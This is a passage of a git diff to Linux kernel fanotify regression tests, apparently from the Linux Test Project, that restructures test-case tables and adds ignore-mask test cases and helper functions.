F_GETFD); - if ((ret & FD_CLOEXEC) == fd_bit) { + if ((ret & FD_CLOEXEC) == fd_bit) tst_res(TPASS, "%s", msg); - } else { + else tst_res(TFAIL, "%s", msg); - } SAFE_CLOSE(fd_notify); } diff --git a/testcases/kernel/syscalls/fanotify/fanotify09.c b/testcases/kernel/syscalls/fanotify/fanotify09.c index d622ff3a..3f2db470 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify09.c +++ b/testcases/kernel/syscalls/fanotify/fanotify09.c @@ -12,21 +12,26 @@ */ /* - * This is a regression test for commit 54a307ba8d3c: + * This is a regression test for commit: * - * fanotify: fix logic of events on child + * 54a307ba8d3c fanotify: fix logic of events on child * - * Test case #1 is a regression test for commit b469e7e47c8a: + * Test case #1 is a regression test for commit: * - * fanotify: fix handling of events on child sub-directory + * b469e7e47c8a fanotify: fix handling of events on child sub-directory * - * Test case #2 is a regression test for commit 55bf882c7f13: + * Test case #2 is a regression test for commit: * - * fanotify: fix merging marks masks with FAN_ONDIR + * 55bf882c7f13 fanotify: fix merging marks masks with FAN_ONDIR * - * Test case #5 is a regression test for commit 7372e79c9eb9: + * Test case #5 is a regression test for commit: * - * fanotify: fix logic of reporting name info with watched parent + * 7372e79c9eb9 fanotify: fix logic of reporting name info with watched parent + * + * Test cases #6-#7 are regression tests for commit: + * (from v5.19, unlikely to be backported thus not in .tags): + * + * e730558adffb fanotify: consistent behavior for parent not watching children */ #define _GNU_SOURCE @@ -47,7 +52,7 @@ #define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) /* reasonable guess as to size of 1024 events */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) @@ -68,75 +73,169 @@ static char event_buf[EVENT_BUF_LEN]; static int mount_created; static int fan_report_dfid_unsupported; +static int ignore_mark_unsupported; static struct tcase { const char *tname; struct fanotify_mark_type mark; unsigned int ondir; + unsigned int ignore; + unsigned int ignore_flags; unsigned int report_name; - const char *close_nowrite; + const char *event_path; int nevents; + unsigned int nonfirst_event; } tcases[] = { { - "Events on non-dir child with both parent and mount marks", - INIT_FANOTIFY_MARK_TYPE(MOUNT), - 0, - 0, - DIR_NAME, - 1, + .tname = "Events on non-dir child with both parent and mount marks", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .event_path = DIR_NAME, + .nevents = 1, + }, + { + .tname = "Events on non-dir child and subdir with both parent and mount marks", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .event_path = DIR_NAME, + .nevents = 2, + }, + { + .tname = "Events on non-dir child and parent with both parent and mount marks", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .event_path = ".", + .nevents = 2, + }, + { + .tname = "Events on non-dir child and subdir with both parent and subdir marks", + .mark = INIT_FANOTIFY_MARK_TYPE(INODE), + .ondir = FAN_ONDIR, + .event_path = DIR_NAME, + .nevents = 2, + }, + { + .tname = "Events on non-dir children with both parent and mount marks", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .event_path = FILE2_NAME, + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, + }, + { + .tname = "Events on non-dir child with both parent and mount marks and filename info", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .report_name = FAN_REPORT_DFID_NAME, + .event_path = FILE2_NAME, + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, + }, + { + .tname = "Events on non-dir child with ignore mask on parent", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ignore = FAN_MARK_IGNORED_MASK, + .event_path = DIR_NAME, + .nevents = 1, + }, + { + .tname = "Events on non-dir children with surviving ignore mask on parent", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ignore = FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY, + .event_path = FILE2_NAME, + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, }, + /* FAN_MARK_IGNORE test cases: */ { - "Events on non-dir child and subdir with both parent and mount marks", - INIT_FANOTIFY_MARK_TYPE(MOUNT), - FAN_ONDIR, - 0, - DIR_NAME, - 2, + .tname = "Events on dir with ignore mask that does not apply to dirs", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .ignore = FAN_MARK_IGNORE_SURV, + .event_path = ".", + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, }, { - "Events on non-dir child and parent with both parent and mount marks", - INIT_FANOTIFY_MARK_TYPE(MOUNT), - FAN_ONDIR, - 0, - ".", - 2, + .tname = "Events on dir with ignore mask that does apply to dirs", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .ignore = FAN_MARK_IGNORE_SURV, + .ignore_flags = FAN_ONDIR, + .event_path = ".", + .nevents = 2, }, { - "Events on non-dir child and subdir with both parent and subdir marks", - INIT_FANOTIFY_MARK_TYPE(INODE), - FAN_ONDIR, - 0, - DIR_NAME, - 2, + .tname = "Events on child with ignore mask on parent that does not apply to children", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ignore = FAN_MARK_IGNORE_SURV, + .event_path = FILE2_NAME, + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, }, { - "Events on non-dir children with both parent and mount marks", - INIT_FANOTIFY_MARK_TYPE(MOUNT), - 0, - 0, - FILE2_NAME, - 2, + .tname = "Events on child with ignore mask on parent that does apply to children", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ignore = FAN_MARK_IGNORE_SURV, + .ignore_flags = FAN_EVENT_ON_CHILD, + .event_path = FILE2_NAME, + .nevents = 2, }, { - "Events on non-dir child with both parent and mount marks and filename info", - INIT_FANOTIFY_MARK_TYPE(MOUNT), - 0, - FAN_REPORT_DFID_NAME, - FILE2_NAME, - 2, + .tname = "Events on subdir with ignore mask on parent that does not apply to children", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .ignore = FAN_MARK_IGNORE_SURV, + .ignore_flags = FAN_ONDIR, + .event_path = DIR_NAME, + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, + }, + { + .tname = "Events on subdir with ignore mask on parent that does not apply to dirs", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .ignore = FAN_MARK_IGNORE_SURV, + .ignore_flags = FAN_EVENT_ON_CHILD, + .event_path = DIR_NAME, + .nevents = 2, + .nonfirst_event = FAN_CLOSE_NOWRITE, + }, + { + .tname = "Events on subdir with ignore mask on parent that does apply to subdirs", + .mark = INIT_FANOTIFY_MARK_TYPE(MOUNT), + .ondir = FAN_ONDIR, + .ignore = FAN_MARK_IGNORE_SURV, + .ignore_flags = FAN_EVENT_ON_CHILD | FAN_ONDIR, + .event_path = DIR_NAME, + .nevents = 2, }, }; static void create_fanotify_groups(struct tcase *tc) { struct fanotify_mark_type *mark = &tc->mark; - unsigned int i, onchild, report_name, ondir = tc->ondir; + int i; for (i = 0; i < NUM_GROUPS; i++) { /* - * The first group may request events with filename info. + * The first group may request events with filename info and + * events on subdirs and always request events on children. */ - report_name = (i == 0) ? tc->report_name : 0; + unsigned int report_name = tc->report_name; + unsigned int mask_flags = tc->ondir | FAN_EVENT_ON_CHILD; + unsigned int parent_mask, ignore_mask, ignore = 0; + + /* + * The non-first groups may request events on children and + * subdirs only when setting an ignore mask on parent dir. + * The parent ignore mask may request to ignore events on + * children or subdirs. + */ + if (i > 0) { + ignore = tc->ignore; + report_name = 0; + if (!ignore) + mask_flags = 0; + } + fd_notify[i] = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF | report_name | FAN_NONBLOCK, O_RDONLY); @@ -144,21 +243,26 @@ static void create_fanotify_groups(struct tcase *tc) * Add subdir or mount mark for each group with CLOSE event, * but only the first group requests events on dir. */ - onchild = (i == 0) ? FAN_EVENT_ON_CHILD | ondir : 0; SAFE_FANOTIFY_MARK(fd_notify[i], FAN_MARK_ADD | mark->flag, - FAN_CLOSE_NOWRITE | onchild, - AT_FDCWD, tc->close_nowrite); + FAN_CLOSE_NOWRITE | mask_flags, + AT_FDCWD, tc->event_path); /* * Add inode mark on parent for each group with MODIFY event, * but only the first group requests events on child. * The one mark with FAN_EVENT_ON_CHILD is needed for - * setting the DCACHE_FSNOTIFY_PARENT_WATCHED dentry - * flag. + * setting the DCACHE_FSNOTIFY_PARENT_WATCHED dentry flag. + * + * The inode mark on non-first group is either with FAN_MODIFY + * in mask or FAN_CLOSE_NOWRITE in ignore mask. In either case, + * it is not expected to get the modify event on a child, nor + * the close event on dir. */ - SAFE_FANOTIFY_MARK(fd_notify[i], FAN_MARK_ADD, - FAN_MODIFY | ondir | onchild, + parent_mask = FAN_MODIFY | tc->ondir | mask_flags; + ignore_mask = FAN_CLOSE_NOWRITE | tc->ignore_flags; + SAFE_FANOTIFY_MARK(fd_notify[i], FAN_MARK_ADD | ignore, + ignore ? ignore_mask : parent_mask, AT_FDCWD, "."); } } @@ -173,12 +277,28 @@ static void cleanup_fanotify_groups(void) } } +static void check_ignore_mask(int fd) +{ + unsigned int ignored_mask, mflags; + char procfdinfo[100]; + + sprintf(procfdinfo, "/proc/%d/fdinfo/%d", (int)getpid(), fd); + if (FILE_LINES_SCANF(procfdinfo, "fanotify ino:%*x sdev:%*x mflags: %x mask:0 ignored_mask:%x", + &mflags, &ignored_mask) || !ignored_mask) { + tst_res(TFAIL, "The ignore mask did not survive"); + } else { + tst_res(TPASS, "Found mark with ignore mask (ignored_mask=%x, mflags=%x) in %s", + ignored_mask, mflags, procfdinfo); + } +} + static void event_res(int ttype, int group, struct fanotify_event_metadata *event, const char *filename) { if (event->fd != FAN_NOFD) { int len = 0; + sprintf(symlnk, "/proc/self/fd/%d", event->fd); len = readlink(symlnk, fdpath, sizeof(fdpath)); if (len < 0) @@ -186,9 +306,10 @@ static void event_res(int ttype, int group, fdpath[len] = 0; filename = fdpath; } + tst_res(ttype, "group %d got event: mask %llx pid=%u fd=%d filename=%s", group, (unsigned long long)event->mask, - (unsigned)event->pid, event->fd, filename); + (unsigned int)event->pid, event->fd, filename); } static const char *event_filename(struct fanotify_event_metadata *event) @@ -218,16 +339,16 @@ static void verify_event(int group, struct fanotify_event_metadata *event, tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) " "pid=%u fd=%d filename=%s", group, (unsigned long long)event->mask, (unsigned long long)expect, - (unsigned)event->pid, event->fd, filename); + (unsigned int)event->pid, event->fd, filename); } else if (event->pid != getpid()) { tst_res(TFAIL, "group %d got event: mask %llx pid=%u " "(expected %u) fd=%d filename=%s", group, - (unsigned long long)event->mask, (unsigned)event->pid, - (unsigned)getpid(), event->fd, filename); + (unsigned long long)event->mask, (unsigned int)event->pid, + (unsigned int)getpid(), event->fd, filename); } else if (strcmp(filename, expect_filename)) { tst_res(TFAIL, "group %d got event: mask %llx pid=%u " "fd=%d filename='%s' (expected '%s')", group, - (unsigned long long)event->mask, (unsigned)event->pid, + (unsigned long long)event->mask, (unsigned int)event->pid, event->fd, filename, expect_filename); } else { event_res(TPASS, group, event, filename); @@ -236,6 +357,15 @@ static void verify_event(int group, struct fanotify_event_metadata *event, SAFE_CLOSE(event->fd); } +static void close_event_fds(struct fanotify_event_metadata *event, int buflen) +{ + /* Close all file descriptors of read events */ + for (; FAN_EVENT_OK(event, buflen); FAN_EVENT_NEXT(event, buflen)) { + if (event->fd != FAN_NOFD) + SAFE_CLOSE(event->fd); + } +} + static void test_fanotify(unsigned int n) { int ret, dirfd; @@ -250,6 +380,17 @@ static void test_fanotify(unsigned int n) return; } + if (tc->ignore && tst_kvercmp(5, 19, 0) < 0) { + tst_res(TCONF, "ignored mask on parent dir has undefined " + "behavior on kernel < 5.19"); + return; + } + + if (ignore_mark_unsupported && tc->ignore & FAN_MARK_IGNORE) { + tst_res(TCONF, "FAN_MARK_IGNORE not supported in kernel?"); + return; + } + create_fanotify_groups(tc); /* @@ -259,9 +400,8 @@ static void test_fanotify(unsigned int n) /* * generate FAN_CLOSE_NOWRITE event on a child, subdir or "." */ - dirfd = SAFE_OPEN(tc->close_nowrite, O_RDONLY); - if (dirfd >= 0) - SAFE_CLOSE(dirfd); + dirfd = SAFE_OPEN(tc->event_path, O_RDONLY); + SAFE_CLOSE(dirfd); /* * First verify the first group got the file MODIFY event and got just @@ -276,17 +416,19 @@ static void test_fanotify(unsigned int n) "reading fanotify events failed"); } } + event = (struct fanotify_event_metadata *)event_buf; if (ret < tc->nevents * (int)FAN_EVENT_METADATA_LEN) { - tst_brk(TBROK, + tst_res(TFAIL, "short read when reading fanotify events (%d < %d)", ret, tc->nevents * (int)FAN_EVENT_METADATA_LEN); } - event = (struct fanotify_event_metadata *)event_buf; - verify_event(0, event, FAN_MODIFY, tc->report_name ? fname : ""); - event = FAN_EVENT_NEXT(event, ret); - if (tc->nevents > 1) { + if (FAN_EVENT_OK(event, ret)) { + verify_event(0, event, FAN_MODIFY, tc->report_name ? fname : ""); + event = FAN_EVENT_NEXT(event, ret); + } + if (tc->nevents > 1 && FAN_EVENT_OK(event, ret)) { verify_event(0, event, FAN_CLOSE_NOWRITE, - tc->report_name ? (tc->ondir ? "." : tc->close_nowrite) : ""); + tc->report_name ? (tc->ondir ? "." : tc->event_path) : ""); event = FAN_EVENT_NEXT(event, ret); } if (ret > 0) { @@ -294,37 +436,33 @@ static void test_fanotify(unsigned int n) "first group got more than %d events (%d bytes)", tc->nevents, ret); } - /* Close all file descriptors of read events */ - for (; FAN_EVENT_OK(event, ret); FAN_EVENT_NEXT(event, ret)) { - if (event->fd != FAN_NOFD) - SAFE_CLOSE(event->fd); - } + close_event_fds(event, ret); /* * Then verify the rest of the groups did not get the MODIFY event and * got the FAN_CLOSE_NOWRITE event only on a non-directory. */ for (i = 1; i < NUM_GROUPS; i++) { + /* + * Verify that ignore mask survived the modify event on child, + * which was not supposed to be sent to this group. + */ + if (tc->ignore) + check_ignore_mask(fd_notify[i]); + ret = read(fd_notify[i], event_buf, EVENT_BUF_LEN); if (ret > 0) { - uint32_t expect = 0; - - if (tc->nevents > 1 && !tc->ondir) - expect = FAN_CLOSE_NOWRITE; - event = (struct fanotify_event_metadata *)event_buf; - verify_event(i, event, expect, ""); + verify_event(i, event, tc->nonfirst_event, ""); event = FAN_EVENT_NEXT(event, ret); - for (; FAN_EVENT_OK(event, ret); FAN_EVENT_NEXT(event, ret)) { - if (event->fd != FAN_NOFD) - SAFE_CLOSE(event->fd); - } + close_event_fds(event, ret); continue; } if (ret == 0) { - tst_brk(TBROK, "zero length read from fanotify fd"); + tst_res(TFAIL, "group %d zero length read from fanotify fd", i); + continue; } if (errno != EAGAIN) { @@ -332,7 +470,10 @@ static void test_fanotify(unsigned int n) "reading fanotify events failed"); } - tst_res(TPASS, "group %d got no event", i); + if (tc->nonfirst_event) + tst_res(TFAIL, "group %d expected and got no event", i); + else + tst_res(TPASS, "group %d got no event as expected", i); } cleanup_fanotify_groups(); } @@ -341,6 +482,7 @@ static void setup(void) { fan_report_dfid_unsupported = fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME, MOUNT_PATH); + ignore_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_IGNORE_SURV); SAFE_MKDIR(MOUNT_NAME, 0755); SAFE_MOUNT(MOUNT_PATH, MOUNT_NAME, "none", MS_BIND, NULL); @@ -359,8 +501,8 @@ static void cleanup(void) SAFE_CHDIR("../"); - if (mount_created && tst_umount(MOUNT_NAME) < 0) - tst_brk(TBROK | TERRNO, "umount failed"); + if (mount_created) + SAFE_UMOUNT(MOUNT_NAME); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/fanotify/fanotify10.c b/testcases/kernel/syscalls/fanotify/fanotify10.c index 0fa9d1f4..d0e9194e 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify10.c +++ b/testcases/kernel/syscalls/fanotify/fanotify10.c @@ -43,13 +43,14 @@ #include #include #include "tst_test.h" +#include "tst_safe_stdio.h" #ifdef HAVE_SYS_FANOTIFY_H #include "fanotify.h" #define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) /* reasonable guess as to size of 1024 events */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) @@ -66,237 +67,474 @@ static unsigned int fanotify_class[] = { #define GROUPS_PER_PRIO 3 static int fd_notify[NUM_CLASSES][GROUPS_PER_PRIO]; +static int fd_syncfs; static char event_buf[EVENT_BUF_LEN]; +static int event_buf_pos, event_buf_len; static int exec_events_unsupported; static int fan_report_dfid_unsupported; static int filesystem_mark_unsupported; +static int evictable_mark_unsupported; +static int ignore_mark_unsupported; #define MOUNT_PATH "fs_mnt" #define MNT2_PATH "mntpoint" +#define DIR_NAME "testdir" #define FILE_NAME "testfile" #define FILE2_NAME "testfile2" +#define SUBDIR_NAME "testdir2" #define TEST_APP "fanotify_child" #define TEST_APP2 "fanotify_child2" -#define FILE_PATH MOUNT_PATH"/"FILE_NAME -#define FILE2_PATH MOUNT_PATH"/"FILE2_NAME +#define DIR_PATH MOUNT_PATH"/"DIR_NAME +#define DIR_PATH_MULTI DIR_PATH"%d" +#define FILE_PATH DIR_PATH"/"FILE_NAME +#define FILE_PATH_MULTI FILE_PATH"%d" +#define FILE_PATH_MULTIDIR DIR_PATH_MULTI"/"FILE_NAME +#define FILE2_PATH DIR_PATH"/"FILE2_NAME +#define SUBDIR_PATH DIR_PATH"/"SUBDIR_NAME #define FILE_EXEC_PATH MOUNT_PATH"/"TEST_APP #define FILE2_EXEC_PATH MOUNT_PATH"/"TEST_APP2 -#define FILE_MNT2 MNT2_PATH"/"FILE_NAME -#define FILE2_MNT2 MNT2_PATH"/"FILE2_NAME +#define DIR_MNT2 MNT2_PATH"/"DIR_NAME +#define FILE_MNT2 DIR_MNT2"/"FILE_NAME +#define FILE2_MNT2 DIR_MNT2"/"FILE2_NAME #define FILE_EXEC_PATH2 MNT2_PATH"/"TEST_APP #define FILE2_EXEC_PATH2 MNT2_PATH"/"TEST_APP2 +#define DROP_CACHES_FILE "/proc/sys/vm/drop_caches" +#define CACHE_PRESSURE_FILE "/proc/sys/vm/vfs_cache_pressure" + +static int old_cache_pressure; static pid_t child_pid; static int bind_mount_created; static unsigned int num_classes = NUM_CLASSES; +static int max_file_multi; enum { FANOTIFY_INODE, + FANOTIFY_PARENT, + FANOTIFY_SUBDIR, FANOTIFY_MOUNT, FANOTIFY_FILESYSTEM, + FANOTIFY_EVICTABLE, }; static struct fanotify_mark_type fanotify_mark_types[] = { INIT_FANOTIFY_MARK_TYPE(INODE), + INIT_FANOTIFY_MARK_TYPE(PARENT), + INIT_FANOTIFY_MARK_TYPE(SUBDIR), INIT_FANOTIFY_MARK_TYPE(MOUNT), INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), + INIT_FANOTIFY_MARK_TYPE(EVICTABLE), }; static struct tcase { const char *tname; - const char *mark_path; + int mark_path_cnt; + const char *mark_path_fmt; int mark_type; - const char *ignore_path; + int ignore_path_cnt; + const char *ignore_path_fmt; int ignore_mark_type; - unsigned int ignored_onchild; - const char *event_path; + unsigned int ignored_flags; + int event_path_cnt; + const char *event_path_fmt; unsigned long long expected_mask_with_ignore; unsigned long long expected_mask_without_ignore; } tcases[] = { { - "ignore mount events created on a specific file", - MOUNT_PATH, FANOTIFY_MOUNT, - FILE_MNT2, FANOTIFY_INODE, - 0, - FILE_PATH, 0, FAN_OPEN + .tname = "ignore mount events created on a specific file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_fmt = FILE_MNT2, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE_PATH, + .expected_mask_without_ignore = FAN_OPEN + }, + { + .tname = "ignore exec mount events created on a specific file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_fmt = FILE_EXEC_PATH2, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC + }, + { + .tname = "don't ignore mount events created on another file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_fmt = FILE_PATH, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE2_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN + }, + { + .tname = "don't ignore exec mount events created on another file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_MOUNT, + .ignore_path_fmt = FILE_EXEC_PATH, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE2_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN | FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC + }, + { + .tname = "ignore inode events created on a specific mount point", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_INODE, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_MNT2, + .expected_mask_without_ignore = FAN_OPEN + }, + { + .tname = "ignore exec inode events created on a specific mount point", + .mark_path_fmt = FILE_EXEC_PATH, + .mark_type = FANOTIFY_INODE, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_EXEC_PATH2, + .expected_mask_with_ignore = FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC + }, + { + .tname = "don't ignore inode events created on another mount point", + .mark_path_fmt = FILE_MNT2, + .mark_type = FANOTIFY_INODE, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN + }, + { + .tname = "don't ignore exec inode events created on another mount point", + .mark_path_fmt = FILE_EXEC_PATH2, + .mark_type = FANOTIFY_INODE, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN | FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC }, { - "ignore exec mount events created on a specific file", - MOUNT_PATH, FANOTIFY_MOUNT, - FILE_EXEC_PATH2, FANOTIFY_INODE, - 0, - FILE_EXEC_PATH, FAN_OPEN_EXEC, FAN_OPEN | FAN_OPEN_EXEC + .tname = "ignore fs events created on a specific file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = FILE_PATH, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE_PATH, + .expected_mask_without_ignore = FAN_OPEN }, { - "don't ignore mount events created on another file", - MOUNT_PATH, FANOTIFY_MOUNT, - FILE_PATH, FANOTIFY_INODE, - 0, - FILE2_PATH, FAN_OPEN, FAN_OPEN + .tname = "ignore exec fs events created on a specific file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = FILE_EXEC_PATH, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC }, { - "don't ignore exec mount events created on another file", - MOUNT_PATH, FANOTIFY_MOUNT, - FILE_EXEC_PATH, FANOTIFY_INODE, - 0, - FILE2_EXEC_PATH, FAN_OPEN | FAN_OPEN_EXEC, - FAN_OPEN | FAN_OPEN_EXEC + .tname = "don't ignore mount events created on another file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = FILE_PATH, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE2_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, { - "ignore inode events created on a specific mount point", - FILE_PATH, FANOTIFY_INODE, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_MNT2, 0, FAN_OPEN + .tname = "don't ignore exec mount events created on another file", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = FILE_EXEC_PATH, + .ignore_mark_type = FANOTIFY_INODE, + .event_path_fmt = FILE2_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN | FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC }, { - "ignore exec inode events created on a specific mount point", - FILE_EXEC_PATH, FANOTIFY_INODE, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_EXEC_PATH2, FAN_OPEN_EXEC, FAN_OPEN | FAN_OPEN_EXEC + .tname = "ignore fs events created on a specific mount point", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_MNT2, + .expected_mask_without_ignore = FAN_OPEN }, { - "don't ignore inode events created on another mount point", - FILE_MNT2, FANOTIFY_INODE, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_PATH, FAN_OPEN, FAN_OPEN + .tname = "ignore exec fs events created on a specific mount point", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_EXEC_PATH2, + .expected_mask_with_ignore = FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC }, { - "don't ignore exec inode events created on another mount point", - FILE_EXEC_PATH2, FANOTIFY_INODE, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_EXEC_PATH, FAN_OPEN | FAN_OPEN_EXEC, - FAN_OPEN | FAN_OPEN_EXEC + .tname = "don't ignore fs events created on another mount point", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN }, { - "ignore fs events created on a specific file", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - FILE_PATH, FANOTIFY_INODE, - 0, - FILE_PATH, 0, FAN_OPEN + .tname = "don't ignore exec fs events created on another mount point", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_FILESYSTEM, + .ignore_path_fmt = MNT2_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN | FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC }, { - "ignore exec fs events created on a specific file", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - FILE_EXEC_PATH, FANOTIFY_INODE, - 0, - FILE_EXEC_PATH, FAN_OPEN_EXEC, FAN_OPEN | FAN_OPEN_EXEC + .tname = "ignore child exec events created on a specific mount point", + .mark_path_fmt = MOUNT_PATH, + .mark_type = FANOTIFY_PARENT, + .ignore_path_fmt = MOUNT_PATH, + .ignore_mark_type = FANOTIFY_MOUNT, + .event_path_fmt = FILE_EXEC_PATH, + .expected_mask_with_ignore = FAN_OPEN_EXEC, + .expected_mask_without_ignore = FAN_OPEN | FAN_OPEN_EXEC }, { - "don't ignore mount events created on another file", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - FILE_PATH, FANOTIFY_INODE, - 0, - FILE2_PATH, FAN_OPEN, FAN_OPEN + .tname = "ignore events on children of directory created on a specific file", + .mark_path_fmt = DIR_PATH, + .mark_type = FANOTIFY_PARENT, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_fmt = FILE_PATH, + .expected_mask_without_ignore = FAN_OPEN }, { - "don't ignore exec mount events created on another file", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - FILE_EXEC_PATH, FANOTIFY_INODE, - 0, - FILE2_EXEC_PATH, FAN_OPEN | FAN_OPEN_EXEC, - FAN_OPEN | FAN_OPEN_EXEC + .tname = "ignore events on file created inside a parent watching children", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_INODE, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .ignored_flags = FAN_EVENT_ON_CHILD, + .event_path_fmt = FILE_PATH, + .expected_mask_without_ignore = FAN_OPEN }, { - "ignore fs events created on a specific mount point", - MOUNT_PATH, FANOTIFY_FILESYSTEM, - MNT2_PATH, FANOTIFY_MOUNT, - 0, - FILE_MNT2, 0, FAN_OPEN + .tname = "don't ignore events on file created inside a parent not watching children", + .mark_path_fmt = FILE_PATH, + .mark_type = FANOTIFY_INODE, + .ignore_path_fmt = DIR_PATH, + .ignore_mark_type = FANOTIFY_PARENT, + .event_path_fmt = FILE_PATH, + .expected_mask_with_ignore = FAN_OPEN, + .expected_mask_without_ignore = FAN_OPEN 